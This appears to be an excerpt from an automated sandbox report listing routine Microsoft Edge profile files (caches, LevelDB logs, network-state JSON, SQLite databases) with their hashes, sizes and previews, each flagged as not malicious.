Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.232103490808085
Encrypted:	false
SSDEEP:	12:1ThnM+vLZYebvqBQFUt8ATam/+ATRTpMV54ZYebvqBvJ:llYebvZg8oEoYebvk
MD5:	F19CA00BDC18295211CA6C8B90913806
SHA1:	511523319F034113D5A072FC316460FA1A74CABF
SHA-256:	A473C58340E9FD897C886D4D3244EA69E5DA6F8E014C024FFCA3397519E21A39
SHA-512:	D5B40CAA995DE5D4BDC72BF64F5CCEF72565E64FA7E248879248381AE47F764D74E11167E492943441799784024BC9B45D7BAFBE08E9162E68A5FB74CC7E15BD
Malicious:	false
Preview:	2024/11/17-17:36:32.078 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-17:36:32.080 1a6c Recovering log #3.2024/11/17-17:36:32.083 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.232103490808085
Encrypted:	false
SSDEEP:	12:1ThnM+vLZYebvqBQFUt8ATam/+ATRTpMV54ZYebvqBvJ:llYebvZg8oEoYebvk
MD5:	F19CA00BDC18295211CA6C8B90913806
SHA1:	511523319F034113D5A072FC316460FA1A74CABF
SHA-256:	A473C58340E9FD897C886D4D3244EA69E5DA6F8E014C024FFCA3397519E21A39
SHA-512:	D5B40CAA995DE5D4BDC72BF64F5CCEF72565E64FA7E248879248381AE47F764D74E11167E492943441799784024BC9B45D7BAFBE08E9162E68A5FB74CC7E15BD
Malicious:	false
Preview:	2024/11/17-17:36:32.078 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-17:36:32.080 1a6c Recovering log #3.2024/11/17-17:36:32.083 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\005897d8-0ecf-44fb-8ca6-2c043ab9638d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0cdb30fe-7a7e-4641-b65e-b47a17c4fe8c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\26107568-0bb2-4d25-a7a3-1b4899a262d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\29c88e2a-23b2-4782-af51-2df62c5ba6cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4e1dae1f-39bf-4fab-b8d4-c7dd4e51c39a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6f9e7761-9004-4ff3-914d-3f621b4a7f53.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF27c98.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF27e7d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF397dc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.2637606684758635
Encrypted:	false
SSDEEP:	12:1TOpM+vLZYebvqBZFUt8ATlGX/+ATUgqMV54ZYebvqBaJ:kTlYebvyg8ZhoYebvL
MD5:	5EF07AAC9F7D68A1A067BD910A949CA1
SHA1:	1F1BEB9E5A6917B6268774DD50007CA1179E11D1
SHA-256:	8954B4F69A45EC8B1C2AF20F8BF43B1D8F64D97831070CA0C4F02C3BBA749C6C
SHA-512:	D5360CB835B5D15D6170121B176BED9BEB82941D4F022DF67EDEC824C283C43DA992EAAAA9EC4F76F23E9846A794CF843ED73348044B5B4A5E0E7375A6894D28
Malicious:	false
Preview:	2024/11/17-17:36:50.682 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-17:36:50.685 1a6c Recovering log #3.2024/11/17-17:36:50.693 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.2637606684758635
Encrypted:	false
SSDEEP:	12:1TOpM+vLZYebvqBZFUt8ATlGX/+ATUgqMV54ZYebvqBaJ:kTlYebvyg8ZhoYebvL
MD5:	5EF07AAC9F7D68A1A067BD910A949CA1
SHA1:	1F1BEB9E5A6917B6268774DD50007CA1179E11D1
SHA-256:	8954B4F69A45EC8B1C2AF20F8BF43B1D8F64D97831070CA0C4F02C3BBA749C6C
SHA-512:	D5360CB835B5D15D6170121B176BED9BEB82941D4F022DF67EDEC824C283C43DA992EAAAA9EC4F76F23E9846A794CF843ED73348044B5B4A5E0E7375A6894D28
Malicious:	false
Preview:	2024/11/17-17:36:50.682 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-17:36:50.685 1a6c Recovering log #3.2024/11/17-17:36:50.693 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.21272508682111
Encrypted:	false
SSDEEP:	6:HUeTfI9+q2PcNwi23oH+TcwtpIFUt8YUeTfI2WZmw+YUeTfR+9VkwOcNwi23oH+v:1Tw9+vLZYebmFUt8ATwJ/+ATJ+9V54ZT
MD5:	E414C09C8C2F0894733AAA6E5A30E841
SHA1:	7316AB645EBDBD7F4020ACF1A1E7051DA1322E2C
SHA-256:	F80E117DD95BDE1ECE6DB0353AFC9A0A8D18A64561D74BE811A8CD00B03C80CD
SHA-512:	54969A520ED143C0B5D1AF2A0BCFED62F427C62E83A8BFAE5FA56E98BC5DA0500C6EDE696D21AC371FC35843B3CCBF0E2BBD1A98AD994883D093A1A861CDFE25
Malicious:	false
Preview:	2024/11/17-17:36:29.919 1e0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-17:36:29.919 1e0c Recovering log #3.2024/11/17-17:36:29.920 1e0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.21272508682111
Encrypted:	false
SSDEEP:	6:HUeTfI9+q2PcNwi23oH+TcwtpIFUt8YUeTfI2WZmw+YUeTfR+9VkwOcNwi23oH+v:1Tw9+vLZYebmFUt8ATwJ/+ATJ+9V54ZT
MD5:	E414C09C8C2F0894733AAA6E5A30E841
SHA1:	7316AB645EBDBD7F4020ACF1A1E7051DA1322E2C
SHA-256:	F80E117DD95BDE1ECE6DB0353AFC9A0A8D18A64561D74BE811A8CD00B03C80CD
SHA-512:	54969A520ED143C0B5D1AF2A0BCFED62F427C62E83A8BFAE5FA56E98BC5DA0500C6EDE696D21AC371FC35843B3CCBF0E2BBD1A98AD994883D093A1A861CDFE25
Malicious:	false
Preview:	2024/11/17-17:36:29.919 1e0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-17:36:29.919 1e0c Recovering log #3.2024/11/17-17:36:29.920 1e0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654026466237087
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMvSAELyKOMq+8HKkjucswRv8p3nVumQ:K0q+n0Jv9ELyKOMq+8HKkjuczRv89s
MD5:	053E3D2ABC457BAD9A7AD71FF3632BE5
SHA1:	10EFFD00D540E3B4970EE1149DCDD5996780690C
SHA-256:	E8BAE54DA1BF8CE8AED84FA38F21FC618C36DD3A585C3FF5FE18AB35EAAD666A
SHA-512:	A10223EBA22CF5AD2F8A9107CA044A8A1E2B41DDC7767233251C1A821DB154AF1AE64807AD368332277EA0B1A456EAB5AE66E80069F81E34D1A8EEF5902EE2A4
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46687360515493215
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0ti:v7doKsKuKZKlZNmu46yjx0I
MD5:	60426802D2D51DB3F8F280713A38B338
SHA1:	1CE5A782F59FBF15CAF66817776A4D93D3DF3DC6
SHA-256:	0236D4D0951E1A21A263BD64384CC84B72CD158D2F32A03D45839078B84F1383
SHA-512:	AF66D2734F5863F4C6EB1D899C3453C99D9B10ED2A8EE49C265E509C10AE9EFEC8D823E556BDB3C16665FA9ABCF7D0FEEB043C93FCC230D4F31F4F586C05851D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a2b2fb83-de55-4c67-a96d-29c8020a91c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b8fe86b4-edbc-4f5f-9909-6e29f1d158a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9681
Entropy (8bit):	5.112442688569824
Encrypted:	false
SSDEEP:	192:st9kdpXstqyaNP9k2F+0188bV+FvTQA411PzYJ:st9QXstqtJBbGLQy
MD5:	CAED2601395370DF5A34941BAE9E529D
SHA1:	AD54842D7762E141E6B608D1C4FA33218B23960B
SHA-256:	CDAE35EC65A66F104CBD8B090EF422A46EEFC7CA3A284601D47D17B7DF3C562E
SHA-512:	38617161CAACD529739DA17BDD290653A97E296FD83D4BB7E6431479105F2AC5D343C31D801FBAEF0C8BD76D67EB01F1475C86BA3D8850538EE2CBFBA563D679
Malicious:	false
